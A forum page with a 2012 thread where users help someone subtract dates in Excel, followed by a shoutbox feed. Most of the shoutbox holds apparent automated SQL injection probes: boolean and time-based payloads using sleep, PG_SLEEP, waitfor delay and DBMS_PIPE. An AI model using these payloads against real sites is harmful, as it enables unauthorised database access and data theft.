>
  1. Forum
  3. Political Opinions, Commentaries on Current Issues
  5. The Water Cooler!
  7. Excel help

Excel help

  • Nargis
  • Topic Author
  • Visitor
  • Visitor
15 Feb 2012 17:00 #75802 by Nargis
i want to subtract multiple DATE cells to me days

how do i do it?

Please Log in or Create an account to join the conversation.

More
15 Feb 2012 17:13 #75805 by ketchim
You wanna go on multiple Dates  ?  :shocked:

Lemme see IF  I can write a macro for that ..

Please Log in or Create an account to join the conversation.

  • BK
  • Visitor
  • Visitor
15 Feb 2012 17:15 #75806 by BK
2/16/2012, 2/17/2012, 2/18/2012, 2/19/2012
Set the date in the column like the above and then  insert your formula accordingly but make sure that you set the criteria as date and number accordingly

Please Log in or Create an account to join the conversation.

More
15 Feb 2012 17:19 #75808 by ketchim
Subs , she trying to reset February 29 th  :

Leap Years are a Biatch !  ::lol::

Please Log in or Create an account to join the conversation.

  • BK
  • Visitor
  • Visitor
15 Feb 2012 17:23 #75809 by BK
she need a time machine to do that  ::redcard::

Please Log in or Create an account to join the conversation.

  • Nargis
  • Topic Author
  • Visitor
  • Visitor
15 Feb 2012 17:27 #75810 by Nargis
that doesnt work

i dont get days even if i change the cell format

i am almost thinking it cant be done

Please Log in or Create an account to join the conversation.

  • BK
  • Visitor
  • Visitor
15 Feb 2012 17:29 #75811 by BK
then something is wrong with your excel setting (might be corrupted). because it should work once you change the format in the cells.

Please Log in or Create an account to join the conversation.

  • Nargis
  • Topic Author
  • Visitor
  • Visitor
15 Feb 2012 17:31 #75812 by Nargis
no it doesnt

i am trying to subtract a date from April, from a date in March, from 3 dates in Feb

to give me the remaining days

Please Log in or Create an account to join the conversation.

More
15 Feb 2012 17:35 #75813 by ketchim
Add  1 day for a Leap Year ..

Please Log in or Create an account to join the conversation.

  • Nargis
  • Topic Author
  • Visitor
  • Visitor
15 Feb 2012 17:38 #75814 by Nargis
leap year doesnt matter

Please Log in or Create an account to join the conversation.

  1. Forum
  3. Political Opinions, Commentaries on Current Issues
  5. The Water Cooler!
  7. Excel help
Time to create page: 0.212 seconds
ketchimGot Florida Hass theodday from my buddy visiting here !(22.01.2026, 19:37)(19:37)0
ketchimICC tell Bangladseh they will be REPLACED !(22.01.2026, 19:17)(19:17)0
MaleahGuyanese people in Florida can't just go and catch a dozen or two dozen HASSA; they have to catch over 5 million.
This is called Greed		(07.01.2026, 13:14)(13:14)1
MaleahNow that Joe Root has 2 centuries in Australia, I assume those Australian fans, who said he couldn’t be classed as great unless he achieved that, will now say he is?? Given that the great Steve Smith has never scored a test ton in Pakistan….(05.01.2026, 12:31)(12:31)0
MaleahThe Bangladesh Cricket Board has formally asked the ICC to move all of Bangladesh’s matches out of India, citing safety and security concerns.

#T20WorldCup		(04.01.2026, 14:18)(14:18)0
Gwen20(03.01.2026, 13:42)(13:42)0
Gwen(select 198766*667891 from DUAL)(03.01.2026, 13:42)(13:42)0
Gwen(select 198766*667891)(03.01.2026, 13:42)(13:42)0
Gwen@@iBQ3X(03.01.2026, 13:42)(13:42)0
Gwen20'"(03.01.2026, 13:42)(13:42)0
Gwen20(03.01.2026, 13:42)(13:42)0
Gwen20'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'(03.01.2026, 13:42)(13:42)0
Johan20(03.01.2026, 13:42)(13:42)0
Gwen20*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)(03.01.2026, 13:41)(13:41)0
Gwen20F4owsBb6')) OR 756=(SELECT 756 FROM PG_SLEEP(15))--(03.01.2026, 13:41)(13:41)0
Gwen20axQfaI3h') OR 505=(SELECT 505 FROM PG_SLEEP(15))--(03.01.2026, 13:40)(13:40)0
Gwen20GCVWFMgw' OR 960=(SELECT 960 FROM PG_SLEEP(15))--(03.01.2026, 13:40)(13:40)0
Gwen20-1)) OR 426=(SELECT 426 FROM PG_SLEEP(15))--(03.01.2026, 13:39)(13:39)0
Gwen20-1) OR 573=(SELECT 573 FROM PG_SLEEP(15))--(03.01.2026, 13:39)(13:39)0
Gwen20-1 OR 604=(SELECT 604 FROM PG_SLEEP(15))--(03.01.2026, 13:38)(13:38)0
Gwen20ZWzru47i'; waitfor delay '0:0:15' --(03.01.2026, 13:38)(13:38)0
Gwen20-1 waitfor delay '0:0:15' --(03.01.2026, 13:38)(13:38)0
Gwen20-1); waitfor delay '0:0:15' --(03.01.2026, 13:37)(13:37)0
Gwen20-1; waitfor delay '0:0:15' --(03.01.2026, 13:36)(13:36)0
Gwen(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/(03.01.2026, 13:36)(13:36)0
Gwen200"XOR(20*if(now()=sysdate(),sleep(15),0))XOR"Z(03.01.2026, 13:36)(13:36)0
Gwen200'XOR(20*if(now()=sysdate(),sleep(15),0))XOR'Z(03.01.2026, 13:35)(13:35)0
Gwen20*if(now()=sysdate(),sleep(15),0)(03.01.2026, 13:35)(13:35)0
Gwen-1" OR 18=18 or "FwfsM7AR"="(03.01.2026, 13:34)(13:34)0
Gwen-1" OR 3*2<5 or "FwfsM7AR"="(03.01.2026, 13:34)(13:34)0
Gwen-1" OR 5*5=26 or "FwfsM7AR"="(03.01.2026, 13:34)(13:34)0
Gwen-1" OR 5*5=25 or "FwfsM7AR"="(03.01.2026, 13:34)(13:34)0
Gwen-1' OR 641=641 or 'eESQ4mw4'='(03.01.2026, 13:34)(13:34)0
Gwen-1' OR 3*2<5 or 'eESQ4mw4'='(03.01.2026, 13:34)(13:34)0
Gwen-1' OR 5*5=26 or 'eESQ4mw4'='(03.01.2026, 13:34)(13:34)0
Gwen-1' OR 5*5=25 or 'eESQ4mw4'='(03.01.2026, 13:34)(13:34)0
Gwen-1" OR 3*2>5 --(03.01.2026, 13:34)(13:34)0
Gwen-1" OR 3*2>999 --(03.01.2026, 13:34)(13:34)0
Gwen-1" OR 5*5=25 --(03.01.2026, 13:34)(13:34)0
Gwen-1' OR 5*5=26 --(03.01.2026, 13:34)(13:34)0
Gwen-1 OR 3*2>5(03.01.2026, 13:34)(13:34)0
Gwen-1 OR 3*2>999(03.01.2026, 13:34)(13:34)0
Gwen-1 OR 5*5=25(03.01.2026, 13:34)(13:34)0
Gwen-1 OR 3*2>5 --(03.01.2026, 13:34)(13:34)0
Gwen-1 OR 3*2>999 --(03.01.2026, 13:34)(13:34)0
Gwen-1 OR 5*5=25 --(03.01.2026, 13:34)(13:34)0
Gwen20(03.01.2026, 13:34)(13:34)0
Gwen204tYynwAI(03.01.2026, 13:34)(13:34)0
Gwen20(03.01.2026, 12:02)(12:02)0
WalkerKhawaja to retire from international cricket after SCG Ashes finale(02.01.2026, 17:17)(17:17)1
Lacey
Powered by The Krotek
Go to top